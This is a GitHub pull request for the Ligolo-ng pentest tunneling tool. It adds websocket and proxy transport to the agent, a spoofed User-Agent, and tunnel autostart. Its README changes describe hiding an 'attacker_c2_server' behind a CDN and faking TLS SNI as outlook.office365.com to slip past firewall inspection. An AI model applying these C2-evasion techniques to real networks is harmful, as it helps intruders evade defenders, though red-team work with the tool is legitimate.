Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding websockets protocol + additional features #51

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 25 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ You use Ligolo-ng for your penetration tests? Did it help you pass a certificati
- [Using Let's Encrypt Autocert](#using-lets-encrypt-autocert)
- [Using your own TLS certificates](#using-your-own-tls-certificates)
- [Automatic self-signed certificates (NOT RECOMMENDED)](#automatic-self-signed-certificates-not-recommended)
- [Alter Serve name](#using-alter-servername)
- [Using Ligolo-ng](#using-ligolo-ng)
- [Agent Binding/Listening](#agent-bindinglistening)
- [Access to agent's local ports (127.0.0.1)](#access-to-agents-local-ports-127001)
Expand Down Expand Up @@ -138,16 +139,36 @@ The *proxy/relay* can automatically generate self-signed TLS certificates using
The `-ignore-cert` option needs to be used with the *agent*.

> Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

#### Using alter ServerName

When agent connects to IP address (not by domain name) TLS ClientHello packet will NOT contain SNI (ServeName) field. This is not usual case and can be triggered by proxy, firewall, etc.
To avoid this agent must use some TLS servername. You can use param -sname when angent connect to IP-address: `-sname blabla.com`.
You can use sname even when you connect agent to your domain. This can be useful when you're trying to trick firewall that blocks unknown or low-level domains.
For example:
```shell
agent -v -ignore-cert -sname outlook.office365.com -connect https://c2.yourdomain.blbla.com
```
In this example agent will connect to your C2 domain but use outlook.office365.com domain in TLS packets.
P.S. Ms Office domains are in TLS-mitm bypass lists in all modern firewalls ;)
Of cource, this feature doesn't work when your domain is behind CDN.

### Using Ligolo-ng


Start the *agent* on your target (victim) computer (no privileges are required!):

Direct connection to server
```shell
$ ./agent -connect attacker_c2_server.com:11601
```

> If you want to tunnel the connection over a SOCKS5 proxy, you can use the `--socks ip:port` option. You can specify SOCKS credentials using the `--socks-user` and `--socks-pass` arguments.
Websocket connection to server. You can hide your C2 behind Cloudflare or AWS Cloudfront
```shell
$ ./agent -connect https://attacker_c2_server.com
$ ./agent -connect https://attacker_c2_server.com:8443
```
> If you want to tunnel the connection over a proxy, you can use the `--proxy` option. You have to use `--proxy http://username:password@ip:port` with websocket or `--proxy socks://username:password@IP:port` with dicrect connection.

A session should appear on the *proxy* server.

Expand Down Expand Up @@ -203,6 +224,9 @@ Start the tunnel on the proxy:
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation
```

> If you want to enable auto-starting tunnel when agent is coming (ex: when agent reconnects) you can pass auto-start parameter:`-autostart <dev-name>` to proxy


You can also specify a custom tuntap interface using the ``--tun iface`` option:

```
Expand Down
162 changes: 140 additions & 22 deletions cmd/agent/main.go
Original file line number Diff line number Diff line change
@@ -1,25 +1,32 @@
package main

import (
"context"
"crypto/tls"
"flag"
"github.com/hashicorp/yamux"
"github.com/nicocha30/ligolo-ng/pkg/agent"
"github.com/sirupsen/logrus"
goproxy "golang.org/x/net/proxy"
"net"
"net/http"
"net/url"
"nhooyr.io/websocket"
"strings"
"time"
)

func main() {
var tlsConfig tls.Config
var ignoreCertificate = flag.Bool("ignore-cert", false, "ignore TLS certificate validation (dangerous), only for debug purposes")
var verbose = flag.Bool("v", false, "enable verbose mode")
var retry = flag.Bool("retry", false, "auto-retry on error")
var socksProxy = flag.String("socks", "", "socks5 proxy address (ip:port)")
var socksUser = flag.String("socks-user", "", "socks5 username")
var socksPass = flag.String("socks-pass", "", "socks5 password")
var retry = flag.Int("retry", 0, "auto-retry on error with delay in sec. If 0 then no auto-retry")
var socksProxy = flag.String("proxy", "", "proxy URL address (http://admin:secret@127.0.0.1:8080)"+
" or socks://admin:secret@127.0.0.1:8080")
var serverAddr = flag.String("connect", "", "the target (domain:port)")
var serverName = flag.String("sname", "", "SNI (server name in TLS)")
var userAgent = flag.String("ua", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "+
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "HTTP User-Agent")

flag.Parse()

Expand All @@ -32,35 +39,86 @@ func main() {
if *serverAddr == "" {
logrus.Fatal("please, specify the target host user -connect host:port")
}
host, _, err := net.SplitHostPort(*serverAddr)
if err != nil {
logrus.Fatal("invalid connect address, please use host:port")

if strings.Contains(*serverAddr, "https://") {
//websocket https connection
host, _, err := net.SplitHostPort(strings.Replace(*serverAddr, "https://", "", 1))
if err != nil {
logrus.Info("There is no port in address string, assuming that port is 443")
host = strings.Replace(*serverAddr, "https://", "", 1)
}
tlsConfig.ServerName = host
} else if strings.Contains(*serverAddr, "http://") {
//websocket http connection
host, _, err := net.SplitHostPort(strings.Replace(*serverAddr, "http://", "", 1))
if err != nil {
logrus.Info("There is no port in address string, assuming that port is 80")
host = strings.Replace(*serverAddr, "http://", "", 1)
}
tlsConfig.ServerName = host
} else {
//direct connection
host, _, err := net.SplitHostPort(*serverAddr)
if err != nil {
logrus.Fatal("Invalid connect address, please use host:port")
}
tlsConfig.ServerName = host
}

if *serverName != "" {
tlsConfig.ServerName = *serverName
}
tlsConfig.ServerName = host

if *ignoreCertificate {
logrus.Warn("warning, certificate validation disabled")
logrus.Warn("Warning, certificate validation disabled")
tlsConfig.InsecureSkipVerify = true
}

var conn net.Conn

for {
var err error
if *socksProxy != "" {
if _, _, err := net.SplitHostPort(*socksProxy); err != nil {
logrus.Fatal("invalid socks5 address, please use host:port")
}
conn, err = sockDial(*serverAddr, *socksProxy, *socksUser, *socksPass)
if strings.Contains(*serverAddr, "http://") || strings.Contains(*serverAddr, "https://") ||
strings.Contains(*serverAddr, "wss://") || strings.Contains(*serverAddr, "ws://") {
*serverAddr = strings.Replace(*serverAddr, "https://", "wss://", 1)
*serverAddr = strings.Replace(*serverAddr, "http://", "ws://", 1)
//websocket
err = wsconnect(&tlsConfig, *serverAddr, *socksProxy, *userAgent)
} else {
conn, err = net.Dial("tcp", *serverAddr)
}
if err == nil {
err = connect(conn, &tlsConfig)
if *socksProxy != "" {
if strings.Contains(*socksProxy, "http://") {
//TODO http proxy CONNECT
} else {
//suppose that scheme is socks:// or socks5://
var proxyUrl *url.URL
proxyUrl, err = url.Parse(*socksProxy)
if err != nil {
logrus.Fatal("invalid socks5 address, please use host:port")
}
if _, _, err = net.SplitHostPort(proxyUrl.Host); err != nil {
logrus.Fatal("invalid socks5 address, please use socks://host:port")
}
pass, _ := proxyUrl.User.Password()
conn, err = sockDial(*serverAddr, proxyUrl.Host, proxyUrl.User.Username(), pass)
if err != nil {
logrus.Errorf("Socks connection error: %v", err)
} else {
logrus.Infof("Connection to socks success.")
}
}
} else {
//direct connection
conn, err = net.Dial("tcp", *serverAddr)
}
if err == nil {
err = connect(conn, &tlsConfig)
}
}

logrus.Errorf("Connection error: %v", err)
if *retry {
logrus.Info("Retrying in 5 seconds.")
time.Sleep(5 * time.Second)
if *retry > 0 {
logrus.Infof("Retrying in %d seconds.", *retry)
time.Sleep(time.Duration(*retry) * time.Second)
} else {
logrus.Fatal(err)
}
Expand All @@ -85,14 +143,74 @@ func connect(conn net.Conn, config *tls.Config) error {
if err != nil {
return err
}

logrus.WithFields(logrus.Fields{"addr": tlsConn.RemoteAddr()}).Info("Connection established")
for {
conn, err := yamuxConn.Accept()
if err != nil {
return err
}
go agent.HandleConn(conn)
}
}

func wsconnect(config *tls.Config, wsaddr string, proxystr string, useragent string) error {
var nossl bool

if strings.Contains(wsaddr, "ws://") {
nossl = true
} else {
nossl = false
}

ctx, cancel := context.WithTimeout(context.Background(), time.Second*20)
defer cancel()

//proxystr = "http://admin:secret@127.0.0.1:8080"
proxyUrl, err := url.Parse(proxystr)
if err != nil || proxystr == "" {
proxyUrl = nil
}

httpTransport := &http.Transport{}
config.MinVersion = tls.VersionTLS10

if nossl {
httpTransport = &http.Transport{
MaxIdleConns: http.DefaultMaxIdleConnsPerHost,
Proxy: http.ProxyURL(proxyUrl),
}
} else {
httpTransport = &http.Transport{
MaxIdleConns: http.DefaultMaxIdleConnsPerHost,
TLSClientConfig: config,
Proxy: http.ProxyURL(proxyUrl),
}
}

httpClient := &http.Client{Transport: httpTransport}
httpheader := &http.Header{}
httpheader.Add("User-Agent", useragent)

wsConn, _, err := websocket.Dial(ctx, wsaddr, &websocket.DialOptions{HTTPClient: httpClient, HTTPHeader: *httpheader})
if err != nil {
return err
}

netctx, cancel := context.WithTimeout(context.Background(), time.Hour*999999)
netConn := websocket.NetConn(netctx, wsConn, websocket.MessageBinary)
defer cancel()
yamuxConn, err := yamux.Server(netConn, yamux.DefaultConfig())
if err != nil {
return err
}

logrus.Info("Websocket connection established")
for {
conn, err := yamuxConn.Accept()
if err != nil {
return err
}
go agent.HandleConn(conn)
}
//return nil
}
65 changes: 65 additions & 0 deletions cmd/proxy/app/app.go
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,69 @@ func RegisterAgent(agent *controller.LigoloAgent) error {
return nil
}

func AgentCheckIn() {
for {
for num, agent := range AgentList {
if agent.Session.IsClosed() {
logrus.Warnf("Agent %v: is offline. Deleting session %v", num, agent.Name)
AgentListMutex.Lock()
delete(AgentList, agent.Id)
AgentListMutex.Unlock()
App.SetDefaultPrompt()
}
}
time.Sleep(time.Second * 1)
}
}

func AutostartAgent(agent *controller.LigoloAgent, tunname string) error {

CurrentAgent := agent
logrus.Infof("Starting tunnel to %s", CurrentAgent.Name)
ligoloStack, err := proxy.NewLigoloTunnel(netstack.StackSettings{
//TunName: c.Flags.String("tun"),
TunName: tunname,
MaxInflight: 4096,
})
if err != nil {
logrus.Error("Unable to create tunnel, err:", err)
return nil
}
ifName, err := ligoloStack.GetStack().Interface().Name()
if err != nil {
logrus.Warn("unable to get interface name, err:", err)
//ifName = c.Flags.String("tun")
ifName = tunname
}
CurrentAgent.Interface = ifName
CurrentAgent.Running = true

ctx, cancelTunnel := context.WithCancel(context.Background())
go ligoloStack.HandleSession(CurrentAgent.Session, ctx)

for {
select {
case <-CurrentAgent.CloseChan: // User stopped
logrus.Infof("Closing tunnel to %s...", CurrentAgent.Name)
cancelTunnel()
return nil
case <-CurrentAgent.Session.CloseChan(): // Agent closed
logrus.Warnf("Lost connection with agent %s!", CurrentAgent.Name)
// Connection lost, we need to delete the Agent from the list
AgentListMutex.Lock()
delete(AgentList, CurrentAgent.Id)
AgentListMutex.Unlock()
if CurrentAgent.Id == CurrentAgent.Id {
App.SetDefaultPrompt()
CurrentAgent.Session = nil
}
cancelTunnel()
return nil
}
}
return nil
}

func Run() {
// CurrentAgent points to the selected agent in the UI (when running session)
var CurrentAgentID int
Expand All @@ -44,6 +107,8 @@ func Run() {
// ListenerList contains all listener relays
ListenerList = make(map[int]controller.Listener)

go AgentCheckIn()

App.AddCommand(&grumble.Command{
Name: "session",
Help: "Change the current relay agent",
Expand Down
5 changes: 5 additions & 0 deletions cmd/proxy/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ func main() {
var enableSelfcert = flag.Bool("selfcert", false, "dynamically generate self-signed certificates")
var certFile = flag.String("certfile", "certs/cert.pem", "TLS server certificate")
var keyFile = flag.String("keyfile", "certs/key.pem", "TLS server key")
var autostart = flag.String("autostart", "", "autostarting tunnel on interface. Ex: -autostart ligolo1 ")
var domainWhitelist = flag.String("allow-domains", "", "autocert authorised domains, if empty, allow all domains, multiple domains should be comma-separated.")

flag.Parse()
Expand Down Expand Up @@ -71,6 +72,10 @@ func main() {
if err := app.RegisterAgent(agent); err != nil {
logrus.Errorf("could not register agent: %s", err.Error())
}

if *autostart != "" {
app.AutostartAgent(agent, *autostart)
}
}
}()

Expand Down
7 changes: 5 additions & 2 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,11 @@ require (
golang.zx2c4.com/wireguard v0.0.0-20220703234212-c31a7b1ab478
)

require github.com/nicocha30/gvisor-ligolo v0.0.0-20230726075806-989fa2c0a413
require (
github.com/nicocha30/gvisor-ligolo v0.0.0-20230726075806-989fa2c0a413
golang.org/x/sys v0.15.0
nhooyr.io/websocket v1.8.10
)

require (
github.com/desertbit/closer/v3 v3.1.3 // indirect
Expand All @@ -34,7 +38,6 @@ require (
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
github.com/rivo/uniseg v0.2.0 // indirect
golang.org/x/sync v0.1.0 // indirect
golang.org/x/sys v0.15.0 // indirect
golang.org/x/term v0.15.0 // indirect
golang.org/x/text v0.14.0 // indirect
golang.org/x/time v0.0.0-20220609170525-579cf78fd858 // indirect
Expand Down
Loading